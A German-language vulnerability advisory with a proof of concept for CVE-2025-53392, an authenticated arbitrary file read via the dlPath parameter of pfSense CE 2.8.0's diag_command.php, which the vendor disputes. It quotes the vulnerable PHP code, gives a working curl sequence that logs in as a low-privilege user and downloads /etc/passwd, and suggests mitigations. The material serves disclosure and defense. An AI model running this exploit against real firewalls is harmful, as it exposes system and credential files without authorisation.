
Authentifiziertes Lesen beliebiger Dateien in pfSense 2.8.0 über die Diagnose-Weboberfläche (CVE-2025-53392)
CVE-2025-53392CWE-36 (Absolute Path Traversal)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NNur für autorisierte Tests und Forschungszwecke. Testen oder nutzen Sie diese Schwachstelle nicht auf Systemen, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
pfSense CE 2.8.0 enthält eine Schwachstelle zur Offenlegung lokaler Dateien auf der Diagnoseseite diag_command.php, die es authentifizierten Benutzern ermöglicht, beliebige Dateien vom zugrunde liegenden Dateisystem herunterzuladen.
Diese Funktion verfügt über keinerlei Pfadbereinigung, Verzeichnisbeschränkung oder Zugriffskontrollen, die über die reine Rechtevergabe hinausgehen.
Die verwundbare Logik befindet sich in der Datei src/usr/local/www/diag_command.php:
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
}
Es gibt keine Sicherheitsprüfungen oder Bereinigungsmaßnahmen für den benutzergesteuerten Parameter dlPath.
Jeder Dateipfad, den der PHP-Prozess lesen kann, wird an den Benutzer zurückgegeben.
Gruppe low-priv erstellen und eine einzelne Berechtigung zuweisen (WebCfg - Diagnostics: Command)

Ich erkenne das Vorhandensein eines Sicherheitshinweises für die Berechtigung
WebCfg - Diagnostics: Commandan, aber Hinweise allein ersetzen keine solide Zugriffskontrolle.Der Satz „Allow access to the Diagnostics Command page“ ist mehrdeutig und verharmlost das Risiko: Er ermöglicht uneingeschränkte Root-Level-Befehlsausführung, nicht nur Diagnosezugriff.
Berechtigungskennzeichnungen in einer Weboberfläche müssen den Umfang und die Schwere der Aktionen, die sie erlauben, genau widerspiegeln, insbesondere wenn sie volle administrative Kontrolle freigeben.
Gruppe low-priv dem Benutzer dev zuweisen

Dieses Proof of Concept zeigt, dass ein Benutzer, dem ausschließlich die Berechtigung WebCfg - Diagnostics: Command zugewiesen wurde, /etc/passwd durch Missbrauch des nicht bereinigten Parameters dlPath exfiltrieren kann.
# 1. Sitzung starten und CSRF-Token extrahieren
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 2. Als Benutzer mit niedrigen Rechten "dev" authentifizieren
curl -k -b cookies.txt -c cookies.txt \
-d "__csrf_magic=$csrf_token" \
-d "usernamefld=dev" \
-d "passwordfld=pass" \
-d "login=Sign+In" \
https://<IP>/index.php > /dev/null
# 3. CSRF-Token nach dem Login abrufen
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 4. Beliebige Datei exfiltrieren (Beispiel: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
-d "__csrf_magic=$csrf_token" \
-d "submit=DOWNLOAD" \
-d "dlPath=/etc/passwd"

Jeder pfSense-Benutzer mit der Berechtigung WebCfg - Diagnostics: Command kann:
Dies verstößt gegen das Prinzip der geringsten Rechte und durchbricht logische Berechtigungsgrenzen.
dlPath mithilfe von realpath() und Präfixprüfung auf ein sicheres Basisverzeichnis (z. B. /tmp) beschränken.. oder absolute Pfade blockieren oder entfernenCVE-2025-53392 mit dem Tag „vendor disputed“Während der Anbieter behauptet, dass der Zugriff auf diese Seite Root-Zugriff gleichkommt, vermischt dies Berechtigungen auf Webebene mit uneingeschränktem Backend-Zugriff.
Berechtigungen sollten technisch erzwungen (nicht vorausgesetzt) werden, und Warnhinweise in der Benutzeroberfläche sind kein Ersatz für sicheres Design.
Ich stelle die Behauptung des Anbieters in Frage, dass diese Funktion „gut dokumentiert“ sei – ich fand in der Dokumentation zu Benutzerrechten von pfSense keinen Hinweis darauf, dass die Berechtigung WebCfg - Diagnostics: Command einem Root-Level-Zugriff entspricht.

Der Anbieter könnte sich auf die Seite „Diagnostics Command“ bezogen haben, die eine allgemeine Warnung vor Missbrauch enthält.
Die Dokumentation verknüpft diese Funktion jedoch nicht ausdrücklich mit der Berechtigung WebCfg - Diagnostics: Command und stellt auch nicht klar, dass sie Root-Level-Zugriff gewährt.
Das Diagnosemodul in der Weboberfläche einer Firewall sollte angemessene Sicherheitsvorkehrungen enthalten, um Missbrauch gegen das zugrunde liegende Betriebssystem zu verhindern.
Diese Arbeit wurde außerhalb meines Beschäftigungsverhältnisses durchgeführt und spiegelt meine persönlichen Bemühungen in der Cybersicherheitsforschung wider.